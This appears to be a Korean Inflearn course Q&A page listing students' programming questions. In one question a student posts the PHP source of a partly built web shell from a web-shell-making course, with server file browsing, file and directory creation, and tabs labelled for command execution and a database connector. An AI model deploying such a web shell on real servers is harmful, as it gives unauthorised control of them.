묻고 답해요
164만명의 커뮤니티!! 함께 토론해봐요.
인프런 TOP Writers
-
미해결앨런 Swift문법 마스터 스쿨 (온라인 BootCamp - 2개월과정)
해당 강의에 Life Cycle 선택란이 안보이시면 그냥 넘어가세요 😉
자유주제에도 올렸지만 바로 처음 보이는게 질문 탭이라 여기도 올립니다! Life Cycle 선택란이 2022년 현재는 Xcode의 업데이트로 이젠 사라진듯 하네요. 슬랙 질문방 찾아보니 강사님이 그냥 넘어가도 문제 없다고 답변하신게 있습니다. 혹시나 저 처럼 앱 만들기 시작부터 당황하시는분들 있을텐데 슬랙에 뭔가 물어보긴 너무 가벼운거 같기도 하고 고민하실 분들 계실까봐 여기 글 올려요 🙂
-
미해결[리뉴얼] React로 NodeBird SNS 만들기
안녕하세요 리덕스 질문 하나 해도 될까요?
안녕하세요 리덕스에서 action시 데이터를 수정하고 싶은데 변경하지 않는 값은 ...기본값, 수정값 : 값 이러는 걸로 알고 있습니다, 혹시 맨밑 사진처럼 할려면 코드를 어떻게 짜야할까요?
-
미해결자바 개발자를 위한 코틀린 입문(Java to Kotlin Starter Guide)
Penguin 클래스의 legCount getter를 override 할 때 질문 있습니다!
- 학습 관련 질문을 남겨주세요. 상세히 작성하면 더 좋아요! - 먼저 유사한 질문이 있었는지 검색해보세요. - 서로 예의를 지키며 존중하는 문화를 만들어가요. - 잠깐! 인프런 서비스 운영 관련 문의는 1:1 문의하기를 이용해주세요. 안녕하세요 강의 정말 잘 듣고 있습니다! 여기서 Penguin 클래스의 인스턴스를 만들고 getter를 사용해봤더니 오류가 납니다. override val legCount를 public override val legCount로 변경해주어야 조회가 가능했습니다. Animal 추상 클래스를 만들 때 legCount 프로퍼티의 getter가 protected로 만들어져서 Penguin 클래스에서 오버라이드 했을 때도 protected로 만들어져서 그런건가요?
-
미해결Three.js로 시작하는 3D 인터랙티브 웹
WebGLRenderer
- 학습 관련 질문을 남겨주세요. 상세히 작성하면 더 좋아요! - 먼저 유사한 질문이 있었는지 검색해보세요. - 서로 예의를 지키며 존중하는 문화를 만들어가요. - 잠깐! 인프런 서비스 운영 관련 문의는 1:1 문의하기를 이용해주세요. WebGLRenderer 과 WebGL1Renderer 차이가 무엇인가요 ? threejs.org 에서 r118이후 WebGLRenderer 는 WebGL 2 렌더링 컨텍스트 사용한다고 적혀있는데 WebGL1Renderer은 어떤것이 다른지 궁금해서 여쭙습니다
-
미해결파이썬/장고 웹서비스 개발 완벽 가이드 with 리액트
모델 관련해서 질문이 있습니다.
안녕하세요 강사님! 개인프로젝트를 만들고 있는데 실례가 안된다면 간단한 질문드려도 될까요?? 제가 프로젝트에서 신고기능을 만들고 있는데요, 모델을 이렇게 만드는게 맞는지 모르겠어서 여쭤봅니다.. 신고기능은 유저신고, 댓글신고, 대댓글 신고가 있습니다. user, comment, recooment모두 외래키로 받아와야 해서 아래 캡쳐사진과 같이 다 따로 작성했는데요 코드 중복이 너무 많이 있는 것 같아서 이게 맞는지 모르겠습니다..! 코드중복 문제 때문에 제가 생각한 다른 방법은 Report라는 모델을 만들고 거기에 신고대상인 user, comment, recomment 필드를 만들어서 user가 신고되었을 경우엔 나머지 필드를 null로 처리해주는 방법을 생각했습니다. 혹시 이 방법 외에도 다른 좋은 방법이 있을까요? 추가적으로 캡쳐사진처럼 모델을 다 나눠서 적는게 보통 개발하는 방법인가요? 개인프로젝트인데 질문드려 죄송하고 감사합니다ㅠㅠ
-
미해결[개정판] 딥러닝 컴퓨터 비전 완벽 가이드
RetinaNet 실습
안녕하세요 강사님 RetinaNet 강의를 열심히 듣다가 이론듣고 실습으로 넘어간다고 했는데 실습이 없어서요 RetinaNet 실습부분은 어디서 참조 할 수있을까요?
-
미해결Vue.js 끝장내기 - 실무에 필요한 모든 것
incompatible architecture (have 'arm64', need 'x86_64')) 에러 : 해결
/vue-til-server/node_modules/bcrypt/lib/binding/bcrypt_lib.node' (mach-o file, but is an incompatible architecture (have 'arm64', need 'x86_64')) 이라는 에러 메시지가 나와서 검색해보니 npm i canvas --save 이것 설치하라해서 설치했더니 서버 동작하였습니다
-
미해결[리뉴얼] Node.js 교과서 - 기본부터 프로젝트 실습까지
9.5.1 스스로 해보기
해당 스스로 해보기에 대한 정보는 어디에서 확인할수 있나요? 개정판기준으로 된것을 찾고있는데 없어서 질문드려요.
-
미해결공공데이터로 파이썬 데이터 분석 시작하기
data 폴더 위치 관련
- 학습 관련 질문을 남겨주세요. 상세히 작성하면 더 좋아요! - 먼저 유사한 질문이 있었는지 검색해보세요. - 서로 예의를 지키며 존중하는 문화를 만들어가요. - 잠깐! 인프런 서비스 운영 관련 문의는 1:1 문의하기를 이용해주세요. 현재 Files 에서 0_Jupyter > open-data-analysis-basic > data 로 위치 지정해두었고, open-data-analysis-basic 폴더 안에 data 폴더를 옮겨서 프로그램은 잘 실행되었습니다. 한가지 궁금한것은, data 파일을 open-data-analysis-basic 폴더 안이 아니라, 0_Jupyter>data로 지정해서 사용할 수는 없을지 여쭤보고싶습니다. %ls data 하면, open-data-analysis-basic-master 안에 있는 data 폴더로 기본이 되는 것 같아서요.
-
미해결[리뉴얼] Node.js 교과서 - 기본부터 프로젝트 실습까지
강의자료 질문
강의자료로 사용된 ppt자료는 따로 없는상태인가요? 받을수 있다면 어디에서 받을수 있는지 알려주세요.
-
미해결[리뉴얼] 파이썬입문과 크롤링기초 부트캠프 [파이썬, 웹, 데이터 이해 기본까지] (업데이트)
비쥬얼 스튜디오에 주피터 노트북이 있는데 이걸 사용해도 될까요?
- 학습 관련 질문을 남겨주세요. 상세히 작성하면 더 좋아요! - 먼저 유사한 질문이 있었는지 검색해보세요. - 서로 예의를 지키며 존중하는 문화를 만들어가요. - 잠깐! 인프런 서비스 운영 관련 문의는 1:1 문의하기를 이용해주세요.
-
미해결딥러닝 CNN 완벽 가이드 - TFKeras 버전
ReduceLROnPlateau의 factor 관련 질문 드립니다.
ReduceLROnPlateau의 factor는 patience동안 val_loss가 개선되지 않으면, learning rate를 변화시켜서 Local minina에 빠지지 않는다고 하셨습니다. 그런데, 구글에서 검색을 하거나, 선생님이 예시로 든 코드를 보면 factor는 0.x로, 이전 learning rate보다 감소되는 방향입니다. local minina에서 빠져나오기 위해서는 오히려 이전 learning rate보다 키워야 하는게 아닐까 생각했습니다. factor를 0.x로 설정해서 learning rate를 감소시키는 이유가 궁금합니다. 머신러닝 강의, 캐글 강의 모두 너무 잘 들었습니다!
-
미해결Skill-Up! 배워서 바로 쓰는 웹쉘 제작
fileModify버튼 클릭시 문의
안녕하세요 강사님 <? } else if($mode == "fileModify") { ?> <textarea class="form-control" rows="3"></textarea> <? } ?> 부분을 추가하여 파일 수정 버튼을 클릭시 textarea 부분이 안생겨 문의 드립니다. 저 부분을 적용 후 해당 버튼 클릭하여 들어가면 위의 else if문이 안먹는건지 저부분을 불러오질 못합니다.(f12로 페이지 소스 확인시 저 위의 부분이 안보임 제 소스코드는 아래와 같습니다. <? header('Content-Type:text/html; charset=utf-8'); $mode = $_REQUEST["mode"]; $path = $_REQUEST["path"]; $page = basename($_SERVER["PHP_SELF"]); $fileName = $_GET["fileName"]; if(empty($path)) { $tempFileName = basename(__FILE__); $tempPath = realpath(__FILE__); $path = str_replace($tempFileName, "", $tempPath ); $path = str_replace("\\", "/", $path); } else { $path = realpath($path)."/"; $path = str_replace("\\", "/", $path); } # Mode Logic if ($mode == "fileCreate"){ if(empty($fileName)){ echo "<script>alert('파일명이 입력되지 않았습니다.');history.back(-1);</script>"; exit(); } $fp = fopen($path.$fileName, "w"); fclose($fp); echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}' </script>"; } else if ($mode == "dirCreate"){ if(empty($fileName)){ echo "<script>alert('디렉터리명이 입력되지 않았습니다.');history.back(-1);</script>"; exit(); } $dirPath = $path.$fileName; if(is_dir($dirPath)){ echo "<script>alert('해당 디렉터리명이 존재합니다.');history.back(-1);</script>"; exit(); } mkdir($dirPath); echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}' </script>"; } # Directory List Return Function function getDirList($getPath) { $listArr = array(); $handler = opendir($getPath); while($file = readdir($handler)) { if(is_dir($getPath.$file) == "1") { $listArr[] = $file; } } closedir($handler); return $listArr; } # File List Return Function function getFileList($getPath) { $listArr = array(); $handler = opendir($getPath); while($file = readdir($handler)) { if(is_dir($getPath.$file) != "1") { $listArr[] = $file; } } closedir($handler); return $listArr; }?> <!DOCTYPE html><html lang="ko"><head> <title>Crehacktive webshell</title><!-- 합쳐지고 최소화된 최신 CSS --><link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css"> <!-- 부가적인 테마 --><link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap-theme.min.css"> <!-- 합쳐지고 최소화된 최신 자바스크립트 --><script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/js/bootstrap.min.js"></script> <script> function fileCreate(){ var fileName = frm.createFileName.value; if(!fileName){ alert("파일명을 입력하세요."); return; } location.href="<?=$page?>?mode=fileCreate&path=<?=$path?>&fileName=" + fileName; } function dirCreate(){ var fileName = frm.createFileName.value; if(!fileName){ alert("디렉터리명을 입력하세요."); return; } location.href="<?=$page?>?mode=dirCreate&path=<?=$path?>&fileName=" + fileName; } function fileModify(fileName){ location.href = "<?=$page?>?mode=fileModify@path=<?=$path?>&fileName=" + fileName; }</script></head><body><div class="container-fluid"> <div class="row"> <div class="col-md-3"></div> <div class="col-md-6"> <h3>WebShell_Test <small>Create by Penta</small></h3> <hr> <ul class="nav nav-tabs"> <li role="presentation" <? if(empty($mode) || $mode == "fileBrowser") echo "class=\"active\"";?>><a href="<?=$page?>?mode=fileBrowser">File Browser</a></li> <li role="presentation" <? if($mode == "fileUpload") echo "class=\"active\"";?>><a href="<?=$page?>?mode=fileUpload">File Upload</a></li> <li role="presentation" <? if($mode == "command") echo "class=\"active\"";?>><a href="<?=$page?>?mode=command">Command Execution</a></li> <li role="presentation" <? if($mode == "db") echo "class=\"active\"";?>><a href="<?=$page?>?mode=db">DB Connector</a></li> <li role="presentation"><a href="<?=$page?>?mode=logout">Logout</a></li> </ul> <br> <? if(empty($mode) || $mode == "fileBrowser") { ?> <form action="<?=$page?>?mode=fileBrowser" method="GET" > <div class="input-group"> <span class="input-group-addon">Current Path</span> <input type="text" class="form-control" placeholder="Path Input..." name="path" value="<?=$path?>"> <span class="input-group-btn"> <button class="btn btn-default" type="submit">Move</button> </span> </div> </form> <hr> <div class="table-responsive"> <table class="table table-bordered table-hover" style="table-layout: fixed; word-break: break-all;"> <thead> <tr class="info"> <th style="width: 50%" class="text-center">Name</th> <th style="width: 14%" class="text-center">Type</th> <th style="width: 18%" class="text-center">Date</th> <th style="width: 18%" class="text-center">Action</th> </tr> </thead> <tbody> <? $dirList = getDirList($path); for($i=0; $i<count($dirList); $i++) { if($dirList[$i] != ".") { $dirDate = date("Y-m-d H:i", filemtime($path.$dirList[$i])); ?> <tr> <td style="vertical-align: middle" class="text-primary"><b><span class="glyphicon glyphicon-folder-open" aria-hidden="true"></span> <a href="<?=$page?>?mode=fileBrowser&path=<?=$path?><?=$dirList[$i]?>"><?=$dirList[$i]?></a></b></td> <td style="vertical-align: middle" class="text-center"><kbd>Directory</kbd></td> <td style="vertical-align: middle" class="text-center"><?=$dirDate?></td> <td style="vertical-align: middle" class="text-center"> <div class="btn-group btn-group-sm" role="group" aria-label="..."> <? if($dirList[$i] != "..") { ?> <button type="button" class="btn btn-warning" title="File Delete"><span class="glyphicon glyphicon-trash" aria-hidden="true"></span></button> </div> <? } ?> </td> </tr> <? } } ?> <? $fileList = getFileList($path); for($i=0; $i<count($fileList); $i++) { $fileDate = date("Y-m-d H:i", filemtime($path.$fileList[$i])); ?> <tr> <td style="vertical-align: middle"><span class="glyphicon glyphicon-file" aria-hidden="true"></span> <?=$fileList[$i]?></td> <td style="vertical-align: middle" class="text-center"><kbd>File</kbd></td> <td style="vertical-align: middle" class="text-center"><?=$fileDate?></td> <td style="vertical-align: middle" class="text-center"> <div class="btn-group btn-group-sm" role="group" aria-label="..."> <button type="button" class="btn btn-success" title="File Download"><span class="glyphicon glyphicon-download-alt" aria-hidden="true"></span></button> <button type="button" class="btn btn-info"title="File Modify" onclick="fileModify('<?=$fileList[$i]?>')"><span class="glyphicon glyphicon-refresh" aria-hidden="true"></span></button> <button type="button" class="btn btn-warning" title="File Delete"><span class="glyphicon glyphicon-trash" aria-hidden="true"></span></button> </div> </td> </tr> <? } ?> </tbody> </table> </div> <hr> <form name="frm"> <div class="input-group"> <input type="text" class="form-control" placeholder="File/Directory Name Input..." name="createFileName""> <span class="input-group-btn"> <button class="btn btn-default" type="button" onclick="fileCreate()">File Create</button> <button class="btn btn-default" type="button" onclick="dirCreate()">Directory Create</button> </span> </div> </form> <? } else if($mode == "fileModify") { ?> <textarea class="form-control" rows="3"></textarea> <? } ?> <hr> <p class="text-mute text-center">CopyRight 2022, Penta, All Rights reserved. </p> </div> <div class="col-md-3"></div> </div></div></body></html>
-
미해결Python 입문자를 위한 강의
[미션] 코딩 도전에 아무런 내용이없습니다~~
혹시 제가 안보이는걸까요?? ㅎㅎ
-
미해결[C++과 언리얼로 만드는 MMORPG 게임 개발 시리즈] Part1: C++ 프로그래밍 입문
구조체 패딩 관련 질문입니다
- 학습 관련 질문을 남겨주세요. 상세히 작성하면 더 좋아요! - 먼저 유사한 질문이 있었는지 검색해보세요. - 서로 예의를 지키며 존중하는 문화를 만들어가요. - 잠깐! 인프런 서비스 운영 관련 문의는 1:1 문의하기를 이용해주세요. struct Padding { char a; //1 long long b; //8 short c; //2 int d; //4 char e; //1 long long f; //8 char g; //1 }; 디폴트 패킹 값으로 설정되어있고 32bit 환경과 64bit 환경에서 둘다 테스트해봤습니다. 처음에 디폴트 패킹값이 8이라고 알고있어서8byte 단위로 끊어서 c , d , e 변수가 하나의 8byte 단위로 들어갈거라고 생각해서 sizeof(Padding)이 40byte라고 생각했는데결과는 48byte가 나왔습니다그래서 메모리 뷰를 확인해 본 결과 0x000000837FB1F948 03 00 cc cc ..?? 0x000000837FB1F94C 04 00 00 00 .... 0x000000837FB1F950 05 cc cc cc .???0x000000837FB1F954 cc cc cc cc ???? short c 랑 int d가 8byte 차지하고char e 혼자 8byte를 차지하더라고요왜 굳이 8byte단위로 처리 가능한데short c / int d / char e 를 하나의 8byte로 처리하지 않고 오히려 4byte씩 끊어서 처리하는 느낌이 들었는데 이런 현상에 대해서 궁금합니다
-
미해결[리뉴얼] React로 NodeBird SNS 만들기
rootReducer부분 로그아웃 오류
해결했습니다..! 아래 질문글은 일단 그대로 남겨둘게요. 아래쪽 글은 해결됐으니 안읽어주셔두 괜찮을 것 같아요! 제가 문제생겼던 부분이 import logoutAction from '../reducers'; 제가 원래는 이렇게 써놨는데 에러가 생겼고, import { logoutAction } from '../reducers'; 이렇게 괄호를 붙여주니까 에러가 사라지고 잘 동작하더라구요.. 제가 아직 개념이 정확하진 않지만 저런식으로 { } 이런 괄호를 해주는게 구조분해할당? 그런 느낌으로 알고있는데 reducer에서 함수를 호출해줄때도 괄호가 필수적인걸로 알고있으면 될까요? 당연한 개념인데 몰라서 실수한건가 해서요 ㅜㅜ 항상 좋은 강의 감사하고. 유튜브에서 생각하고 질문하는 습관 키우라고 하신게 기억나서, 질문 올리기 전에 코드 여러번 살펴보고 조사하다보니 강좌 내용도 더 이해가 잘 되고 오히려 오류가 도움이 되긴 했네요 항상 감사합니다. ----------------------------------------------------- 안녕하세요 제로초님 강좌 수강중 오류가 나는 부분에 대해서, 원인 파악이 힘들어서 문의드리게 되었습니다. 일단 rootReducer를 통해서 LOG_IN, LOG_OUT이라는 type을 정의하고 이를 통해서 해당 기능들을 보려고 했는데요. 일단 LOG_IN같은 경우는 잘 동작하고 위의 사진과 같이 redux에서도 관련 내용이 잘 확인되었습니다. 문제는 log_out을 하려는 경우에 발생하였는데요. TypeError: Cannot read properties of undefined (reading 'type') 위 사진의 부분에 위와 같은 에러가 발생합니다. 제가 이해한 바로는 undefinde의 type을 읽어올 수 없다는 것이니, action 자체가 undefined이기에 해당 에러가 발생했다고 생각했습니다. 하지만 왜 log_out시에 action이 undefined가 되는지에 대해서알기가 힘드네요.. 그래서 일단 LOG_IN은 제대로 동작하니 그것과 코드를 비교해봤는데요. 일단 정의는 저렇게 되어있고. 로그인 같은 경우에는 이것처럼 onSubmitForm에 callback함수로 정의해서 onFinish일때 작동하고 그때는 action.type 이 LOG_IN입니다. 로그아웃을 하는 경우에도 비슷한데요. 이렇게 된 상태에서 이 버튼을 클릭하면 로그아웃이 되어야한다고 생각했습니다. 그런데 이 때는 왜 action이 undefined가 되어서 type을 찾을 수 없을까요 ㅜㅜ
-
미해결[초급편] 안드로이드 커뮤니티 앱 만들기(Android Kotlin)
프래그먼트 바인딩
똑같이 따라했는데 이런 오류가 생겼어요,, 검색해도 잘 안 나오고 뭐가 문제인지 모르겠습니다ㅠㅠ
-
미해결당신을 함께 일하고 싶은 개발자로 만들어 줄 클린 코드 작성법
예시코드 누락
예시코드가 누락되어있습니다. 확인부탁드립니다.
-
미해결
styled component 오류
styled component 적용하는 거에서 Invalid hook call. 와 Cannot read properties of null 이라는 에러가 뜹니다. 버전은 "styled-component": "^2.8.0", 인데 대체 뭐가 문제일까요???
-
미해결자바 스프링 프레임워크(renew ver.) - 신입 프로그래머를 위한 강좌
'커넥션 풀' 등 DB와 연동하는 setup 에서의 유저정보 노출의 문제
강의를 너무 잘 보았습니다. DB의 정보가 노출이 될수도 있는것 같은데, 혹시 실무에서 DB정보 노출에 대한 방지대책은 어떤방법들이 있는지 궁금하네요. 오래걸렸지만 완강하여 기쁩니다. 감사했습니다 :)